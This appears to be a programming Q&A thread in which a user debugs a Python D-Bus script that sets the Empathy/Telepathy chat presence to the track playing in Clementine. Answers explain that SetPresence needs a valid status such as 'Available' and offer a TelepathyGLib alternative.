ACCOUNT_IFACE = "org.freedesktop.Telepathy.Account"
CHANNEL_GROUP_IFACE = "org.freedesktop.Telepathy.Channel.Interface.Group"
CONTACT_IFACE = "org.freedesktop.Telepathy.Connection.Interface.Contacts"
SIMPLE_PRESENCE_IFACE = "org.freedesktop.Telepathy.Connection.Interface.SimplePresence"
DBUS_PROPS_IFACE = "org.freedesktop.DBus.Properties"
CHANNELDISPATCHER_IFACE = "org.freedesktop.Telepathy.ChannelDispatcher"
CHANNELDISPATCHER_PATH = "/org/freedesktop/Telepathy/ChannelDispatcher"
CHANNEL_TYPE = "org.freedesktop.Telepathy.Channel.ChannelType"
CHANNEL_TYPE_TEXT = "org.freedesktop.Telepathy.Channel.Type.Text"
CHANNEL_TARGETHANDLE = "org.freedesktop.Telepathy.Channel.TargetHandle"
CHANNEL_TARGETHANDLETYPE = "org.freedesktop.Telepathy.Channel.TargetHandleType"
EMPATHY_CLIENT_IFACE = "org.freedesktop.Telepathy.Client.Empathy"
EMPATHY_ACCOUNT_KEY = "EMPATHY_ACCOUNT"
EMPATHY_CONTACT_ID = "EMPATHY_CONTACT_ID"
_ATTRIBUTES = {
'alias': 'org.freedesktop.Telepathy.Connection.Interface.Aliasing/alias',
'presence': 'org.freedesktop.Telepathy.Connection.Interface.SimplePresence/presence',
'contact_caps': 'org.freedesktop.Telepathy.Connection.Interface.ContactCapabilities.DRAFT/caps',
'jid': 'org.freedesktop.Telepathy.Connection/contact-id',
'caps': 'org.freedesktop.Telepathy.Connection.Interface.Capabilities/caps',
}
def _create_dbus_connection():
sbus = dbus.SessionBus()
proxy_obj = sbus.get_object(ACCOUNTMANAGER_IFACE, ACCOUNTMANAGER_PATH)
dbus_iface = dbus.Interface(proxy_obj, DBUS_PROPS_IFACE)
return dbus_iface
def activate(status):
bus = dbus.SessionBus()
interface = _create_dbus_connection()
for valid_account in interface.Get(ACCOUNTMANAGER_IFACE, "ValidAccounts"):
account = bus.get_object(ACCOUNTMANAGER_IFACE, valid_account)
connection_status = account.Get(ACCOUNT_IFACE, "ConnectionStatus")
if connection_status != 0:
continue
connection_path = account.Get(ACCOUNT_IFACE, "Connection")
connection_iface = connection_path.replace("/", ".")[1:]
connection = bus.get_object(connection_iface, connection_path)
simple_presence = dbus.Interface(connection, SIMPLE_PRESENCE_IFACE)
try:
simple_presence.SetPresence(status, _(status))
except dbus.exceptions.DBusException:
print(status + ' is not supported by ' + valid_account)
print simple_presence
main()
when I run this script,
I get the following error.
phanindra#phanindra:~$ python clementine.py
onelove - Blue
(clementine.py:6142): Gtk-WARNING **: Unable to locate theme engine in module_path: "pixmap",
onelove - Blue is not supported by /org/freedesktop/Telepathy/Account/gabble/jabber/abcd_40gmail_2ecom0
I did something wrong? or the functions are deprecated?
Try this to update the status of Empathy with the current track playing in Clementine:
import dbus
session_bus = dbus.SessionBus()
player = session_bus.get_object('org.mpris.clementine', '/Player')
iface = dbus.Interface(player, dbus_interface='org.freedesktop.MediaPlayer')
metadata = iface.GetMetadata()
status = "♫ ".decode('utf8')+metadata["title"]+' - '+metadata["album"]+" ♫".decode('utf8')
print status
from gi.repository import TelepathyGLib as Tp
from gi.repository import GObject
loop = GObject.MainLoop()
am = Tp.AccountManager.dup()
am.prepare_async(None, lambda *args: loop.quit(), None)
loop.run()
am.set_all_requested_presences(Tp.ConnectionPresenceType.AVAILABLE,
'available', status)
Thank you for updating the Format in my original post !
- Harsha
Here is the API specification for the SimplePresence API's SetPresence call: http://telepathy.freedesktop.org/spec/Connection_Interface_Simple_Presence.html#Method:SetPresence
I think the problem is that you're trying to set the presence to an invalid status - you are only allow to set the status to one which the connection manager recognises - e.g. Available. You can set whatever you like for the message.
So your code should read something like:
simple_presence.SetPresence("Available", status)

Categories

Resources